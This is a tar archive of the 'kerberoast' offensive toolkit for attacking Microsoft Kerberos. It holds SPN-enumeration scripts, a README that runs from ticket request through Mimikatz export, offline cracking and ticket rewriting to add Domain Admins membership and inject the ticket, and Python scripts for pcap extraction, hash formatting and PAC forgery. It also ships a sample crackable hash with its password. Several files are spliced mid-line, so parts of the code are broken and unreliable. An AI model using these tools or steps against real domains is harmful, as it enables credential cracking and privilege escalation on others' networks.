pax_global_header00006660000000000000000000000064143540672500014520gustar00rootroot0000000000000052 comment=cc5aa6e88279954fa506830a57e1d63da03dbecd kerberoast-0.0~git20221231.cc5aa6e/000077500000000000000000000000001435406725000164455ustar00rootroot00000000000000kerberoast-0.0~git20221231.cc5aa6e/GetUserSPNs.ps1000066400000000000000000000141571435406725000212240ustar00rootroot00000000000000# Edits by Tim Medin # File: GetUserSPNS.ps1 # Contents: Query the domain to find SPNs that use User accounts # Comments: This is for use with Kerberoast https://github.com/nidem/kerberoast # The password hash used with Computer accounts are infeasible to # crack; however, if the User account associated with an SPN may have # a crackable password. This tool will find those accounts. You do not # need any special local or domain permissions to run this script. # This script on a script supplied by Microsoft (details below). # History: 2016/07/07 Tim Medin Add -UniqueAccounts parameter to only get unique SAMAccountNames # 2016/04/12 Tim Medin Added -Request option to automatically get the tickets # 2014/11/12 Tim Medin Created [CmdletBinding()] Param( [Parameter(Mandatory=$False,Position=1)] [string]$GCName, [Parameter(Mandatory=$False)] [string]$Filter, [Parameter(Mandatory=$False)] [switch]$Request, [Parameter(Mandatory=$False)] [switch]$UniqueAccounts ) Add-Type -AssemblyName System.IdentityModel $GCs = @() If ($GCName) { $GCs += $GCName } else { # find them $ForestInfo = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() $CurrentGCs = $ForestInfo.FindAllGlobalCatalogs() ForEach ($GC in $CurrentGCs) { #$GCs += $GC.Name $GCs += $ForestInfo.ApplicationPartitions[0].SecurityReferenceDomain } } if (-not $GCs) { # no Global Catalogs Found Write-Host "No Global Catalogs Found!" Exit } <# Things you can extract Name Value ---- ----- admincount {1} samaccountname {sqlengine} useraccountcontrol {66048} primarygroupid {513} userprincipalname {sqlengine@medin.local} instancetype {4} displayname {sqlengine} pwdlastset {130410454241766739} memberof {CN=Domain Admins,CN=Users,DC=medin,DC=local} samaccounttype {805306368} serviceprincipalname {MSSQLSvc/sql01.medin.local:1433, MSSQLSvc/sql01.medin.local} usnchanged {135252} lastlogon {130563243107145358} accountexpires {9223372036854775807} logoncount {34} adspath {LDAP://CN=sqlengine,CN=Users,DC=medin,DC=local} distinguishedname {CN=sqlengine,CN=Users,DC=medin,DC=local} badpwdcount {0} codepage {0} name {sqlengine} whenchanged {9/22/2014 6:45:21 AM} badpasswordtime {0} dscorepropagationdata {4/4/2014 2:16:44 AM, 4/4/2014 12:58:27 AM, 4/4/2014 12:37:04 AM,... lastlogontimestamp {130558419213902030} lastlogoff {0} objectclass {top, person, organizationalPerson, user} countrycode {0} cn {sqlengine} whencreated {4/4/2014 12:37:04 AM} objectsid {1 5 0 0 0 0 0 5 21 0 0 0 191 250 179 30 180 59 104 26 248 205 17... objectguid {101 165 206 61 61 201 88 69 132 246 108 227 231 47 109 102} objectcategory {CN=Person,CN=Schema,CN=Configuration,DC=medin,DC=local} usncreated {57551} #> ForEach ($GC in $GCs) { $searcher = New-Object System.DirectoryServices.DirectorySearcher $searcher.SearchRoot = "LDAP://" + $GC $searcher.PageSize = 1000 $searcher.Filter = "(&(!objectClass=computer)(servicePrincipalName=*))" $searcher.PropertiesToLoad.Add("serviceprincipalname") | Out-Null $searcher.PropertiesToLoad.Add("name") | Out-Null $searcher.PropertiesToLoad.Add("samaccountname") | Out-Null #$searcher.PropertiesToLoad.Add("userprincipalname") | Out-Null #$searcher.PropertiesToLoad.Add("displayname") | Out-Null $searcher.PropertiesToLoad.Add("memberof") | Out-Null $searcher.PropertiesToLoad.Add("pwdlastset") | Out-Null #$searcher.PropertiesToLoad.Add("distinguishedname") | Out-Null $searcher.SearchScope = "Subtree" $results = $searcher.FindAll() [System.Collections.ArrayList]$accounts = @() foreach ($result in $results) { foreach ($spn in $result.Properties["serviceprincipalname"]) { $o = Select-Object -InputObject $result -Property ` @{Name="ServicePrincipalName"; Expression={$spn.ToString()} }, ` @{Name="Name"; Expression={$result.Properties["name"][0].ToString()} }, ` #@{Name="UserPrincipalName"; Expression={$result.Properties["userprincipalname"][0].ToString()} }, ` @{Name="SAMAccountName"; Expression={$result.Properties["samaccountname"][0].ToString()} }, ` #@{Name="DisplayName"; Expression={$result.Properties["displayname"][0].ToString()} }, ` @{Name="MemberOf"; Expression={$result.Properties["memberof"][0].ToString()} }, ` @{Name="PasswordLastSet"; Expression={[datetime]::fromFileTime($result.Properties["pwdlastset"][0])} } #, ` #@{Name="DistinguishedName"; Expression={$result.Properties["distinguishedname"][0].ToString()} } if ($UniqueAccounts) { if (-not $accounts.Contains($result.Properties["samaccountname"][0].ToString())) { $accounts.Add($result.Properties["samaccountname"][0].ToString()) | Out-Null $o if ($Request) { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $spn.ToString() | Out-Null } } } else { $o if ($Request) { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $spn.ToString() | Out-Null } } } } } kerberoast-0.0~git20221231.cc5aa6e/GetUserSPNs.vbs000066400000000000000000000063441435406725000213120ustar00rootroot00000000000000' Edits by Tim Medin ' File: GetUserSPNS.vbs ' Contents: Query the domain to find SPNs that use User accounts ' Comments: This is for use with Kerberoast https://github.com/nidem/kerberoast ' The password hash used with Computer accounts are infeasible to ' crack; however, if the User account associated with an SPN may have ' a crackable password. This tool will find those accounts. You do not ' need any special local or domain permissions to run this script. ' This script on a script supplied by Microsoft (details below). ' History: 2014/11/12 Tim Medin Created ' ' Original Script Details: ' Copyright (c) Microsoft Corporation 2004 - ' File: querySpn.vbs ' Contents: Query a given SPN in a given forest to find the owners ' History: 7/7/2004 Craig Wiand Created Option Explicit Dim oConnection, oCmd, oRecordSet Dim oGC, oNSP Dim strGCPath, strClass, strADOQuery Dim vObjClass, vSPNs, vName ParseCommandLine() '--- Set up the connection --- Set oConnection = CreateObject("ADODB.Connection") Set oCmd = CReateObject("ADODB.Command") oConnection.Provider = "ADsDSOObject" oConnection.Open "ADs Provider" Set oCmd.ActiveConnection = oConnection oCmd.Properties("Page Size") = 1000 '--- Build the query string --- strADOQuery = "<" + strGCPath + ">;(&(!objectClass=computer)(servicePrincipalName=*));" & _ "dnsHostName,distinguishedName,servicePrincipalName,objectClass," & _ "samAccountName;subtree" oCmd.CommandText = strADOQuery '--- Execute the query for the object in the directory --- Set oRecordSet = oCmd.Execute If oRecordSet.EOF and oRecordSet.Bof Then Wscript.Echo "No SPNs found!" Wscript.Quit 0 End If While Not oRecordset.Eof Wscript.Echo oRecordset.Fields("distinguishedName") 'vObjClass = oRecordset.Fields("objectClass") 'strClass = vObjClass( UBound(vObjClass) ) 'Wscript.Echo "Class: " & strClass If UCase(strClass) = "COMPUTER" Then Wscript.Echo "Computer DNS: " & oRecordset.Fields("dnsHostName") Else Wscript.Echo "User Logon: " & oRecordset.Fields("samAccountName") End If '--- Display the SPNs on the object --- vSPNs = oRecordset.Fields("servicePrincipalName") For Each vName in vSPNs Wscript.Echo "-- " + vName Next Wscript.Echo oRecordset.MoveNext Wend oRecordset.Close oConnection.Close Sub ShowUsage() Wscript.Echo " USAGE: " & WScript.ScriptName & " SpnToFind [GC Servername or Forestname]" Wscript.Echo Wscript.Echo " " & WScript.ScriptName Wscript.Echo " " & WScript.ScriptName & " Corp.com" Wscript.Quit 0 End Sub Sub ParseCommandLine() If WScript.Arguments.Count = 1 Then If WScript.Arguments(0) = "-h" Or WScript.Arguments(0) = "--help" Or WScript.Arguments(0) = "-?" Or WScript.Arguments(0) = "/?" Then ShowUsage() Else strGCPath = "GC://" & WScript.Arguments(1) End If ElseIf WScript.Arguments.Count = 0 Then ' Set the GC Set oNSP = GetObject("GC:") For Each oGC in oNSP strGCPath = oGC.ADsPath Next Else ShowUsage() End If End Subkerberoast-0.0~git20221231.cc5aa6e/LICENSE000066400000000000000000000260751435406725000174640ustar00rootroot00000000000000Apache License Version 2.0, January 2004 http://www.apache.org/licenses/ TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 1. Definitions. "License" shall mean the terms and conditions for use, reproduction, and distribution as defined by Sections 1 through 9 of this document. "Licensor" shall mean the copyright owner or entity authorized by the copyright owner that is granting the License. "Legal Entity" shall mean the union of the acting entity and all other entities that control, are controlled by, or are under common control with that entity. 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While redistributing the Work or Derivative Works thereof, You may choose to offer, and charge a fee for, acceptance of support, warranty, indemnity, or other liability obligations and/or rights consistent with this License. However, in accepting such obligations, You may act only on Your own behalf and on Your sole responsibility, not on behalf of any other Contributor, and only if You agree to indemnify, defend, and hold each Contributor harmless for any liability incurred by, or claims asserted against, such Contributor by reason of your accepting any such warranty or additional liability. END OF TERMS AND CONDITIONS APPENDIX: How to apply the Apache License to your work. To apply the Apache License to your work, attach the following boilerplate notice, with the fields enclosed by brackets "{}" replaced with your own identifying information. (Don't include the brackets!) The text should be enclosed in the appropriate comment syntax for the file format. We also recommend that a file or class name and description of purpose be included on the same "printed page" as the copyright notice for easier identification within third-party archives. Copyright {yyyy} {name of copyright owner} Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. kerberoast-0.0~git20221231.cc5aa6e/README.md000066400000000000000000000030271435406725000177260ustar00rootroot00000000000000kerberoast ========== Kerberoast is a series of tools for attacking MS Kerberos implementations. Below is a brief overview of what each tool does. Extract all accounts in use as SPN using built in MS tools ---------------------------------------------------------- ``` PS C:\> setspn -T medin -Q */* ``` Request Ticket(s) ----------------- One ticket: ``` PS C:\> Add-Type -AssemblyName System.IdentityModel PS C:\> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "HTTP/web01.medin.local" ``` All the tickets ``` PS C:\> Add-Type -AssemblyName System.IdentityModel PS C:\> setspn.exe -T medin.local -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() } ``` Extract the acquired tickets from ram with Mimikatz --------------------------------------------------- ``` mimikatz # kerberos::list /export ``` Crack with tgsrepcrack ---------------------- ``` ./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi ``` Rewrite ------- Make user appear to be a different user ``` ./kerberoast.py -p Password1 -r 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi -w sql.kirbi -u 500 ``` Add user to another group (in this case Domain Admin) ``` ./kerberoast.py -p Password1 -r 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi -w sql.kirbi -g 512 ``` Inject back into RAM with Mimikatz ---------------------------------- ``` kerberos::ptt sql.kirbi ``` kerberoast-0.0~git20221231.cc5aa6e/examples/000077500000000000000000000000001435406725000202635ustar00rootroot00000000000000kerberoast-0.0~git20221231.cc5aa6e/examples/MSSQLSvc-sql01.medin.local.kirbi000066400000000000000000000025241435406725000260050ustar00rootroot00000000000000vP0La0]aY0U  MEDIN.LOCAL-0+$0"MSSQLSvcsql01.medin.local:14330 faϣ+w2R(}0闧UPhj0!B2$oԬGꋱ$٠]ƭ觝>bncl 4V19IQp/.*hZx0D:.E,hgv!-w#zSӨ>L*ɶh0U$a?a ţl%R\My5 >|o@B5/2sef}(3C [apiB2z-݊q;}sx$|,&܅@OyRYuGN"'Apב7"D|+Wh 2LT.2$[0R&ݐ: c}}p5jC9]'xaiqmQ|/#CoV!qWVQ2n2 44xC6=R /`bL8s)¥r\z*z,jT;v9r!whpPHiBw=NM5>Mp$Q000WÍjPRP̱ {y[H| =7PAdK·n=a@-j_ZǠ) (}{8s[B|)Qy牒&1*$жcnŃ=.iҌt=( C W'*B"LfsrRO qm>SQӥ@N*em$fl;tO찡 ಬNl+pUa`5[ɺE&Yy2}%"WE%=Z%,v'0Ը .z^Z65CCJF0ofv&d]pڭo aĔ05aD I LN[˟R&[fR[sT'%p?0+NS?W=B,/նAhGdYAdY6׼&WŶH$NB+ۗ>𱹿?]=r;OCZX OX:m0נ}0Ơ000^WԠgNu9I  MEDIN.LOCAL0 0tm@20200609130450Z20200609230205Z20200616130205Z  MEDIN.LOCAL-0+$0"MSSQLSvcsql01.medin.local:1433kerberoast-0.0~git20221231.cc5aa6e/examples/README.md000066400000000000000000000000471435406725000215430ustar00rootroot00000000000000Password for these tickets is: phoenix1kerberoast-0.0~git20221231.cc5aa6e/examples/john-hashcat-crackfile.txt000066400000000000000000000040721435406725000253170ustar00rootroot00000000000000$krb5tgs$23$*3-40a10000-tm@MSSQLSvc~sql01.medin.local~1433-MEDIN.LOCAL*$af6661cfa32b04770f32d452280e7da0$30e997a75550ff68c0acfa6ad03021423224f16fd4acbb47ea8bb124d9a0fc120f5dc6ade8a79dce3e00626e16631fcf116c20e7341e9e563186399c4951a7702f2e2a68141700f2d55a783044a13a2e45842c68678f7621eb89ecf2982dab77e3802399e57aa453f4efd3a8103e4c2ac9b6a6ec6887fa30a355ee0524613fcc61a4bc0de7dac5a36c25c252955cca4d79350d3e7c6f4042ff999c352f32ec739ee6eb65c10e667d283343c5e40d90c15ba6e861abcc7069f14232007a2ddd8a88d7713b1cff7daa7378247ced1f2c8a26dc85409bf4faff4f791c5259cc75479ee74e22d7e52782001941a8b2fd70d791ec37ea2244a99e7cffd12b579e8ea76809e1324c548e2e0492fcfa32248b5b3097c1ec5226dd9014c9cf041b3a20b18d14d863ab9f7d7dfe8a70356a43395d277861afb66971a46d86ae51de7c2f23436f16f3fd56a22111715717cada56047f51c0326e1dd0d9cb32a0df0d3481d1d234f2b9781243e81d36ad3d52eb0b1ba92f07996085624ca438b073bdbaece9f7edf029c2a5e3b2725c7aa1a1ef2a7aacf8d7012c6a543b00f08976c0ef3911721b12211ce895c3130ee0057768b370ac85a4504869a31d1585cd42773dfd4e4d35c7cb3e4d70cb245130307f3057c38daf6a501752ba50fabb82ccb1b52015b3f87b795bbd9548f67cf520193ddc0ebcbbca375041bc02644b18f788ce876e3d6140902db96a5f5ae6fbc7a01becc9039c2907a60bf9287d7b85dd38d4ff94068a04e081f11baa730faabbe5fcc85ba6d7427cf4295179e789922631102ab40024d0b68c6390ba828f07d6186eb0c583a93da07f2e69d28c743df7288e097f931843e70957d603d001272a42ab224c66040173018bfebfedc6d772524fa41ffafdbd2082bdf07188a0026d3e53e051c08b9c0eb21ccecbd3a5404eb82ae4656d2417da66e26cf416ca3b74e4134f07ecb0a1a509e0b2ac894eed6c2b05a00089de70b7db556160355b07c9bad845b82659f6c57932c1e2d97d2522f957bb9445253d5a252c1a8ca78700a2d676fb1aafa7938b03ba270030d4b80af6e413b12e7a975efbc7165a3635e3b543f00280c9434a46ddde306f6676e726a21a645dc070d9cfdaadbe6f0985fb61f3c49430350203b91a61ad44820bff4993f7d5cdc50fcc20904cbd00b3dd4ea49ae41cd85bcb9fe852fce6265b66cd52005b7389ef9954279725f992cc70aa8e3fdd30008f2b064e533f578e1c3d428c2c2fd5b641b6b3d11c05e3a768180347a3645941fdd5f064bbb2bb59e514ff3605d7bc268cc7e8fcf0fb0757c41cc5b64824c54ef917de42e62bdddb973e13f0b1b9bf3f5dbc3df9f88ab0168572d505bb0e179dbff3c53b4fb043b912b8a65a047f58c0c60bdf4f583ab96d kerberoast-0.0~git20221231.cc5aa6e/extracttgsrepfrompcap.py000077500000000000000000000053051435406725000234540ustar00rootroot00000000000000#!/usr/bin/env python3 -tt from scapy.all import * import struct MESSAGETYPEOFFSETUDP = 17 MESSAGETYPEOFFSETTCP = 21 DEBUG = True TGS_REP = 13 def findkerbpayloads(packets, verbose=False): kploads = [] i = 1 unfinished = {} for p in packets: # UDP if p.haslayer(UDP) and p.sport == 88 and p[UDP].load[MESSAGETYPEOFFSETUDP] == TGS_REP: if verbose: print("found UDP payload of size %i" % len(p[UDP].load)) kploads.append(p[UDP].load) #TCP elif p.haslayer(TCP) and p.sport == 88 and p[TCP].flags & 23== 16: #ACK Only, ignore push (8), urg (32), and ECE (64+128) # assumes that each TCP packet contains the full payload try: payload = p[TCP].load except: continue if len(payload) > MESSAGETYPEOFFSETTCP and payload[MESSAGETYPEOFFSETTCP] == TGS_REP: # found start of new TGS-REP size = struct.unpack(">I", payload[:4])[0] if size + 4 == len(payload): kploads.append(payload[4:size+4]) # strip the size field else: #print 'ERROR: Size is incorrect: %i vs %i' % (size, len(payload)) unfinished[(p[IP].src, p[IP].dst, p[TCP].dport)] = (payload[4:size+4], size) if verbose: print ("found TCP payload of size %i" % size) elif (p[IP].src, p[IP].dst, p[TCP].dport) in unfinished: ticketdata, size = unfinished.pop((p[IP].src, p[IP].dst, p[TCP].dport)) ticketdata += payload #print "cont: %i %i" % (len(ticketdata), size) if len(ticketdata) == size: kploads.append(ticketdata) elif len(ticketdata) < size: unfinished[(p[IP].src, p[IP].dst, p[TCP].dport)] = (ticketdata, size) else: # OH NO! Oversized! print('Too much data received! Source: %s Dest: %s DPort %i' % (p[IP].src, p[IP].dst, p[TCP].dport)) return kploads if __name__ == '__main__': import argparse parser = argparse.ArgumentParser(description='Find TGS_REP packets in a pcap file and write them for use cracking') parser.add_argument('-f', '--pcap', dest='pcaps', action='append', required=True, metavar='PCAPFILE', #type=file, #argparse.FileType('r'), help='a file to search for Kerberos TGS_REP packets') parser.add_argument('-w', '--outputfile', dest='outfile', action='store', required=True, metavar='OUTPUTFILE', type=argparse.FileType('w'), help='the output file') parser.add_argument('-v', '--verbose', dest='verbose', action='store_true', default=False, help='display verbose messages') args = parser.parse_args() kploads = [] for f in args.pcaps: packets = rdpcap(f) kploads += findkerbpayloads(packets, args.verbose) if len(kploads) == 0: print('no payloads found') else: print('writing %i hex encoded payloads to %s' % (len(kploads), args.outfile.name)) for p in kploads: args.outfile.write(p.hex() + '\n') kerberoast-0.0~git20221231.cc5aa6e/kerberoast.py000077500000000000000000000227571435406725000212000ustar00rootroot00000000000000#!/usr/bin/env python3 -tt import kerberos from pyasn1.codec.ber import encoder, decoder from pyasn1.type import univ, useful import struct import datetime import re import pac def walk(t): if type(t) == str: print('String: %s' % t) else: print('Length: %i' % len(t)) for i in range(len(t)): print('---%i---' % i) print(t[i]) #Sequence().setComponentByPosition(0, BitString("'01000000101000010000000000000000'B")).setComponentByPosition(1, Sequence().setComponentByPosition(0, Integer(23)).setComponentByPosition(1, OctetString(hexValue='dfa121845d72f43271bbb33cd9e69443'))).setComponentByPosition(2, GeneralString('MEDIN.LOCAL')).setComponentByPosition(3, Sequence().setComponentByPosition(0, Integer(1)).setComponentByPosition(1, Sequence().setComponentByPosition(0, GeneralString('tm')))).setComponentByPosition(4, Sequence().setComponentByPosition(0, Integer(1)).setComponentByPosition(1, OctetString(''))).setComponentByPosition(5, GeneralizedTime('20140403172846Z')).setComponentByPosition(6, GeneralizedTime('20140403173119Z')) def updatetimestampsserverticket(ticket, authtime=None, starttime=None, endtime=None, renewtiltime=None): now = datetime.datetime.now() # yes, this regex isn't perfect, but neither are you if not authtime or not re.match(r'^20\d\d[0-1]\d[0-3]\d[0-2]\d[0-6]\d[0-6]\dZ$', authtime): authtime = now.strftime('%Y%m%d%H%M%SZ') if not starttime or not re.match(r'^20\d\d[0-1]\d[0-3]\d[0-2]\d[0-6]\d[0-6]\dZ$', starttime): starttime = now.strftime('%Y%m%d%H%M%SZ') if not endtime or not re.match(r'^20\d\d[0-1]\d[0-3]\d[0-2]\d[0-6]\d[0-6]\dZ$', endtime): endtime = (now + datetime.timedelta(hours=10)).strftime('%Y%m%d%H%M%SZ') if not renewtiltime or not re.match(r'^20\d\d[0-1]\d[0-3]\d[0-2]\d[0-6]\d[0-6]\dZ$', renewtiltime): renewtiltime = (now + datetime.timedelta(hours=24)).strftime('%Y%m%d%H%M%SZ') # Dear, pyasn1 # Why do I have to use a _ method to update a value. You expect me to write # an entire spec, I don't want to. Because of this I HATE YOU. Please # DIAF # -Tim # P.S. Suck it ticket.getComponentByPosition(5)._value = str(useful.GeneralizedTime(authtime)) ticket.getComponentByPosition(6)._value = str(useful.GeneralizedTime(starttime)) ticket.getComponentByPosition(7)._value = str(useful.GeneralizedTime(endtime)) ticket.getComponentByPosition(8)._value = str(useful.GeneralizedTime(renewtiltime)) return ticket def addgrouptopac(pac, grouprid): version, numentries, pactype, pacsize, offset = struct.unpack(' MESSAGETYPEOFFSETTCP and payload[MESSAGETYPEOFFSETTCP] == TGS_REP: # found start of new TGS-REP size = struct.unpack(">I", payload[:4])[0] if size + 4 == len(payload): kploads.append(payload[4:size+4]) # strip the size field else: #print('ERROR: Size is incorrect: %i vs %i' % (size, len(payload))) unfinished[(p[IP].src, p[IP].dst, p[TCP].dport)] = (payload[4:size+4], size) if verbose: print("found TCP payload of size %i" % size) elif (p[IP].src, p[IP].dst, p[TCP].dport) in unfinished: ticketdata, size = unfinished.pop((p[IP].src, p[IP].dst, p[TCP].dport)) ticketdata += payload #print("cont: %i %i" % (len(ticketdata), size)) if len(ticketdata) == size: kploads.append(ticketdata) elif len(ticketdata) < size: unfinished[(p[IP].src, p[IP].dst, p[TCP].dport)] = (ticketdata, size) else: # OH NO! Oversized! print('Too much data received! Source: %s Dest: %s DPort %i' % (p[IP].src, p[IP].dst, p[TCP].dport)) return kploads if __name__ == '__main__': import argparse parser = argparse.ArgumentParser(description='Find TGS_REP packets in a pcap file and write them for use cracking') parser.add_argument('-f', '--pcap', dest='pcaps', action='append', required=True, metavar='PCAPFILE', #type=file, #argparse.FileType('r'), help='a file to search for Kerberos TGS_REP packets') parser.add_argument('-w', '--outputfile', dest='outfile', action='store', required=False, metavar='OUTPUTFILE', type=argparse.FileType('w'), help='the output file') parser.add_argument('-v', '--verbose', dest='verbose', action='store_true', default=False, help='display verbose messages') args = parser.parse_args() kploads = [] for f in args.pcaps: packets = rdpcap(f) kploads += findkerbpayloads(packets, args.verbose) if len(kploads) == 0: print('no payloads found') sys.exit(0) if args.outfile: print('writing %i hex encoded payloads to %s' % (len(kploads), args.outfile.name)) decode_hex = codecs.getdecoder("hex_codec") for p in kploads: encticket = decoder.decode(p)[0][4][3][2].asOctets().hex() out = "$krb5tgs$23$*user$realm$test/spn*$" + encticket[:32] + "$" + encticket[32:] if args.outfile: args.outfile.write(out + '\n') else: print(out)kerberoast-0.0~git20221231.cc5aa6e/pac.py000066400000000000000000000612431435406725000175700ustar00rootroot00000000000000#!/usr/bin/env python3 -tt import struct import collections from abc import ABCMeta, abstractmethod #from datetime import datetime,timedelta import datetime import math def BytesToTime(b): # The FILETIME structure is a 64-bit value that represents the number of # 100-nanosecond intervals that have elapsed since January 1, 1601 (UTC). mftime = struct.unpack(' 0 and type(args[0]) == datetime.datetime: dt = args[0] #dt = datetime.datetime.__new__(cls, dt.year, dt.month, dt.day, dt.hour, dt.minute, dt.second, dt.microsecond, dt.tzinfo) if 'nanosecond' in kwargs: #setattr(dt, 'nanoseconds', args[0].tzinfo) dt = datetime.datetime.__new__(cls, dt.year, dt.month, dt.day, dt.hour, dt.minute, dt.second, dt.microsecond, dt.tzinfo) setattr(dt, 'nanosecond', kwargs['nanosecond']) else: #setattr(dt, 'nanoseconds', 0) dt = datetime.datetime.__new__(cls, dt.year, dt.month, dt.day, dt.hour, dt.minute, dt.second, dt.microsecond, dt.tzinfo, nanoseconds=0) setattr(dt, 'nanosecond', 0) return dt else: dt = super(datetimenano, cls).__new__(cls, *args[:8], **kwargs) if len(args) == 9: setattr(cls, 'nanosecond', args[8]) else: setattr(cls, 'nanosecond', 0) return dt def __str__(self): s = super(datetimenano, self).__str__() return '%s.%09i' % (s.split('.')[0], self.nanosecond) return s class PacInfoStructure(object, metaclass=ABCMeta): PrettyName = 'PacInfoStructure' Type = None PrettyName = None BufferSize = None Offset = None Data = None def __init__(self, pac, index=0): if input != None: offset = 8 + 16 * index self.Type, self.BufferSize, self.Offset = struct.unpack('